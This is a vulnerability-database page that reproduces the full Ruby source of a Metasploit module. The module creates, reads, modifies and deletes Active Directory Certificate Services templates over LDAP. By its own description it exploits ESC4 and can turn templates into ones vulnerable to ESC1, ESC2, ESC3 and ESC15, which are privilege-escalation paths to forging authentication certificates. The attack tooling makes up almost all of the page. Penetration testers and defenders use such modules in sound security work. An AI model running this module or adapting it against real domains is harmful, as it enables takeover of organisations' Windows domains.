Lucene search
K

AD CS Certificate Template Management

🗓️ 22 May 2023 19:50:56Reported by Will Schroeder, Lee Christensen, Oliver Lyak, Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 782 Views

AD CS Certificate Template Management module for Active Directory Domain Controlle

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::LDAP::ActiveDirectory
  include Msf::OptionalSession::LDAP
  include Msf::Auxiliary::Report

  IGNORED_ATTRIBUTES = [
    'dn',
    'distinguishedName',
    'objectClass',
    'cn',
    'whenCreated',
    'whenChanged',
    'name',
    'objectGUID',
    'objectCategory',
    'dSCorePropagationData',
    'msPKI-Cert-Template-OID',
    'uSNCreated',
    'uSNChanged',
    'displayName',
    'instanceType',
    'revision',
    'msPKI-Template-Schema-Version',
    'msPKI-Template-Minor-Revision',
  ].freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AD CS Certificate Template Management',
        'Description' => %q{
          This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain
          Controller.

          The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
          restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
          file to be specified to define the attributes. Template data files are provided to create a template that is
          vulnerable to ESC1, ESC2, ESC3 and ESC15.

          This module is capable of exploiting ESC4.
        },
        'Author' => [
          'Will Schroeder', # original idea/research
          'Lee Christensen', # original idea/research
          'Oliver Lyak', # certipy implementation
          'Spencer McIntyre'
        ],
        'References' => [
          [ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
          [ 'URL', 'https://github.com/GhostPack/Certify' ],
          [ 'URL', 'https://github.com/ly4k/Certipy' ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1649_STEAL_OR_FORGE_AUTHENTICATION_CERTIFICATES ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1484_DOMAIN_OR_TENANT_POLICY_MODIFICATION ]
        ],
        'License' => MSF_LICENSE,
        'Actions' => [
          ['CREATE', { 'Description' => 'Create the certificate template' }],
          ['READ', { 'Description' => 'Read the certificate template' }],
          ['UPDATE', { 'Description' => 'Modify the certificate template' }],
          ['DELETE', { 'Description' => 'Delete the certificate template' }]
        ],
        'DefaultAction' => 'READ',
        'Notes' => {
          'Stability' => [],
          'SideEffects' => [CONFIG_CHANGES],
          'Reliability' => [],
          'AKA' => [ 'Certifry', 'Certipy' ]
        }
      )
    )

    register_options([
      OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
      OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]),
      OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ])
    ])
  end

  def run
    ldap_connect do |ldap|
      validate_bind_success!(ldap)

      if (@base_dn = datastore['BASE_DN'])
        print_status("User-specified base DN: #{@base_dn}")
      else
        print_status('Discovering base DN automatically')

        unless (@base_dn = ldap.base_dn)
          fail_with(Failure::NotFound, "Couldn't discover base DN!")
        end
      end
      @ldap = ldap

      result = send("action_#{action.name.downcase}")
      print_good('The operation completed successfully!')
      result
    end
  rescue Errno::ECONNRESET
    fail_with(Failure::Disconnected, 'The connection was reset.')
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
    fail_with(Failure::NoAccess, e.message)
  rescue Net::LDAP::Error => e
    fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
  end

  def get_certificate_template
    obj = @ldap.search(
      filter: "(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",
      base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
      controls: [adds_build_ldap_sd_control(owner: false, group: false, dacl: true, sacl: false)]
    )&.first
    fail_with(Failure::NotFound, 'The specified template was not found.') unless obj

    print_good("Read certificate template data for: #{obj.dn}")
    stored = store_loot(
      'windows.ad.cs.template',
      'application/json',
      session ? session.client.peerhost : rhost,
      dump_to_json(obj),
      "#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json",
      "#{datastore['CERT_TEMPLATE']} Certificate Template"
    )
    print_status("Certificate template data written to: #{stored}")
    [obj, stored]
  end

  def get_pki_oids
    return @pki_oids if @pki_oids.present?

    raw_objs = @ldap.search(
      base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
      filter: '(objectClass=msPKI-Enterprise-OID)'
    )
    validate_query_result!(@ldap.get_operation_result.table)
    return nil unless raw_objs

    @pki_oids = []
    raw_objs.each do |raw_obj|
      obj = {}
      raw_obj.attribute_names.each do |attr|
        obj[attr.to_s] = raw_obj[attr].map(&:to_s)
      end

      @pki_oids << obj
    end
    @pki_oids
  end

  def get_pki_oid_displayname(oid)
    oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
    return nil unless oid_obj && oid_obj['displayname'].present?

    oid_obj['displayname'].first
  end

  def dump_to_json(template)
    json = {}

    template.each do |attribute, values|
      next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }

      json[attribute] = values.map do |value|
        value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
      end
    end

    json.to_json
  end

  def load_from_json(json)
    template = {}

    JSON.parse(json).each do |attribute, values|
      next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }

      template[attribute] = values.map do |value|
        value.scan(/../).map { |x| x.hex.chr }.join
      end
    end

    template
  end

  def load_from_yaml(yaml)
    template = {}

    YAML.safe_load(yaml).each do |attribute, value|
      next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }

      if attribute.casecmp?('nTSecurityDescriptor')
        unless value.is_a?(String)
          fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
        end

        # if the string only contains printable characters, treat it as SDDL
        if value !~ /[^[:print:]]/
          vprint_status("Parsing SDDL text: #{value}")
          domain_info = adds_get_domain_info(@ldap)
          fail_with(Failure::Unknown, 'Failed to obtain the domain SID.') unless domain_info

          begin
            descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: domain_info[:sid])
          rescue RuntimeError => e
            fail_with(Failure::BadConfig, e.message)
          end

          value = descriptor.to_binary_s
        elsif !value.start_with?("\x01".b)
          fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
        end
      end

      value = [ value ] unless value.is_a?(Array)
      template[attribute] = value.map(&:to_s)
    end

    template
  end

  def load_local_template
    if datastore['TEMPLATE_FILE'].blank?
      fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.')
    end

    unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE'])
      fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.')
    end

    file_data = File.read(datastore['TEMPLATE_FILE'])
    if datastore['TEMPLATE_FILE'].downcase.end_with?('.json')
      load_from_json(file_data)
    elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml')
      load_from_yaml(file_data)
    else
      fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.')
    end
  end

  def action_create
    dn = "CN=#{datastore['CERT_TEMPLATE']},"
    dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,'
    dn << @base_dn

    # defaults to create one from the builtin SubCA template
    # the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted
    attributes = {
      'objectclass' => ['top', 'pKICertificateTemplate'],
      'cn' => datastore['CERT_TEMPLATE'],
      'instancetype' => '4',
      'displayname' => datastore['CERT_TEMPLATE'],
      'usncreated' => '16437',
      'usnchanged' => '16437',
      'showinadvancedviewonly' => 'TRUE',
      'name' => datastore['CERT_TEMPLATE'],
      'flags' => '66257',
      'revision' => '5',
      'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}",
      'pkidefaultkeyspec' => '2',
      'pkikeyusage' => "\x86\x00".b,
      'pkimaxissuingdepth' => '-1',
      'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'],
      'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b,
      'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b,
      'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0',
      'dscorepropagationdata' => '16010101000000.0Z',
      'mspki-ra-signature' => '0',
      'mspki-enrollment-flag' => '0',
      'mspki-private-key-flag' => '16',
      'mspki-certificate-name-flag' => '1',
      'mspki-minimal-key-size' => '2048',
      'mspki-template-schema-version' => '1',
      'mspki-template-minor-revision' => '1',
      'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18'
    }

    unless datastore['TEMPLATE_FILE'].blank?
      load_local_template.each do |key, value|
        key = key.downcase
        next if %w[dn distinguishedname objectguid].include?(key)

        attributes[key.downcase] = value
      end
    end

    # can not contain dn, distinguishedname, or objectguid
    print_status("Creating: #{dn}")
    @ldap.add(dn: dn, attributes: attributes)
    validate_query_result!(@ldap.get_operation_result.table)
    dn
  end

  def action_delete
    obj, = get_certificate_template

    @ldap.delete(dn: obj['dn'].first)
    validate_query_result!(@ldap.get_operation_result.table)
    true
  end

  def action_read
    obj, stored = get_certificate_template

    print_status('Certificate Template:')
    print_status("  distinguishedName:    #{obj['distinguishedname'].first}")
    print_status("  displayName:          #{obj['displayname'].first}") if obj['displayname'].present?
    if obj['objectguid'].first.present?
      object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)
      print_status("  objectGUID:           #{object_guid}")
    end

    if obj[:nTSecurityDescriptor].first.present?
      domain_info = adds_get_domain_info(@ldap)
      fail_with(Failure::Unknown, 'Failed to obtain the domain SID.') unless domain_info

      begin
        sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[:nTSecurityDescriptor].first)
        sddl_text = sd.to_sddl_text(domain_sid: domain_info[:sid])
      rescue StandardError => e
        elog('failed to parse a binary security descriptor to SDDL', error: e)
      else
        print_status("  nTSecurityDescriptor: #{sddl_text}")
        if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.full_control)
          permissions = [ 'FULL CONTROL' ]
        else
          permissions = [ 'READ' ] # if we have the object, we can assume we have read permissions
          permissions << 'WRITE' if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.new(:WP))
          permissions << 'ENROLL' if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.certificate_enrollment)
          permissions << 'AUTOENROLL' if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.certificate_autoenrollment)
        end
        whoami = adds_get_current_user(@ldap)
        print_status("    * Permissions applied for #{whoami[:userPrincipalName].first}: #{permissions.join(', ')}")
      end
    end

    pki_flag = obj['flags']&.first
    if pki_flag.present?
      pki_flag = [obj['flags'].first.to_i].pack('l').unpack1('L')
      print_status("  flags: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
      %w[
        CT_FLAG_AUTO_ENROLLMENT
        CT_FLAG_MACHINE_TYPE
        CT_FLAG_IS_CA
        CT_FLAG_ADD_TEMPLATE_NAME
        CT_FLAG_IS_CROSS_CA
        CT_FLAG_IS_DEFAULT
        CT_FLAG_IS_MODIFIED
        CT_FLAG_DONOTPERSISTINDB
        CT_FLAG_ADD_EMAIL
        CT_FLAG_PUBLISH_TO_DS
        CT_FLAG_EXPORTABLE_KEY
      ].each do |flag_name|
        if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
          print_status("    * #{flag_name}")
        end
      end
    end

    pki_flag = obj['mspki-certificate-name-flag']&.first
    if pki_flag.present?
      pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
      print_status("  msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
      %w[
        CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
        CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME
        CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
        CT_FLAG_SUBJECT_ALT_REQUIRE_SPN
        CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID
        CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
        CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
        CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
        CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
        CT_FLAG_SUBJECT_REQUIRE_EMAIL
        CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
        CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
        CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME
      ].each do |flag_name|
        if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
          print_status("    * #{flag_name}")
        end
      end
    end

    pki_flag = obj['mspki-enrollment-flag']&.first
    if pki_flag.present?
      pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')
      print_status("  msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
      %w[
        CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
        CT_FLAG_PEND_ALL_REQUESTS
        CT_FLAG_PUBLISH_TO_KRA_CONTAINER
        CT_FLAG_PUBLISH_TO_DS
        CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
        CT_FLAG_AUTO_ENROLLMENT
        CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT
        CT_FLAG_USER_INTERACTION_REQUIRED
        CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE
        CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF
        CT_FLAG_ADD_OCSP_NOCHECK
        CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL
        CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS
        CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS
        CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT
        CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST
        CT_FLAG_SKIP_AUTO_RENEWAL
      ].each do |flag_name|
        if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
          print_status("    * #{flag_name}")
        end
      end
    end

    pki_flag = obj['mspki-private-key-flag']&.first
    if pki_flag.present?
      pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')
      print_status("  msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
      %w[
        CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL
        CT_FLAG_EXPORTABLE_KEY
        CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED
        CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM
        CT_FLAG_REQUIRE_SAME_KEY_RENEWAL
        CT_FLAG_USE_LEGACY_PROVIDER
        CT_FLAG_ATTEST_NONE
        CT_FLAG_ATTEST_REQUIRED
        CT_FLAG_ATTEST_PREFERRED
        CT_FLAG_ATTESTATION_WITHOUT_POLICY
        CT_FLAG_EK_TRUST_ON_USE
        CT_FLAG_EK_VALIDATE_CERT
        CT_FLAG_EK_VALIDATE_KEY
        CT_FLAG_HELLO_LOGON_KEY
      ].each do |flag_name|
        if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
          print_status("    * #{flag_name}")
        end
      end
    end

    pki_flag = obj['mspki-ra-signature']&.first
    if pki_flag.present?
      pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
      print_status("  msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
    end

    pki_flag = obj['mkpki-template-schema-version']&.first
    if pki_flag.present?
      print_status("  msPKI-Template-Schema-Version: #{pki_flag}")
    end

    if obj['mspki-certificate-policy'].present?
      if obj['mspki-certificate-policy'].length == 1
        if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?
          print_status("  msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")
        else
          print_status("  msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")
        end
      else
        print_status('  msPKI-Certificate-Policy:')
        obj['mspki-certificate-policy'].each do |value|
          if (oid_name = get_pki_oid_displayname(value)).present?
            print_status("    * #{value} (#{oid_name})")
          else
            print_status("    * #{value}")
          end
        end
      end
    end

    if obj['mspki-template-schema-version'].present?
      print_status("  msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")
    end

    pki_flag = obj['pkikeyusage']&.first
    if pki_flag.present?
      pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
      print_status("  pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
    end

    if obj['pkiextendedkeyusage'].present?
      print_status('  pKIExtendedKeyUsage:')
      obj['pkiextendedkeyusage'].each do |value|
        if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
          print_status("    * #{value} (#{oid.label})")
        else
          print_status("    * #{value}")
        end
      end
    end

    if obj['pkimaxissuingdepth'].present?
      print_status("  pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")
    end

    if obj['showinadvancedviewonly'].present?
      print_status("  showInAdvancedViewOnly: #{obj['showinadvancedviewonly'].first}")
    end

    { object: obj, file: stored }
  end

  def action_update
    obj, = get_certificate_template
    new_configuration = load_local_template

    operations = []
    obj.each do |symbol, value|
      attribute = symbol.to_s
      next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }

      if new_configuration.keys.any? { |word| word.casecmp?(attribute) }
        new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last
        unless value.tally == new_value.tally
          operations << [:replace, attribute, new_value]
        end
      elsif attribute == 'ntsecuritydescriptor'
        # the security descriptor can't be deleted so leave it alone unless specified
      else
        operations << [:delete, attribute, nil]
      end
    end

    new_configuration.each_key do |attribute|
      next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
      next if obj.attribute_names.any? { |i| i.to_s.casecmp?(attribute) }

      operations << [:add, attribute, new_configuration[attribute]]
    end

    if operations.empty?
      print_good('There are no changes to be made.')
      return true
    end

    @ldap.modify(dn: obj.dn, operations: operations, controls: [adds_build_ldap_sd_control(owner: false, group: false)])
    validate_query_result!(@ldap.get_operation_result.table)
    true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation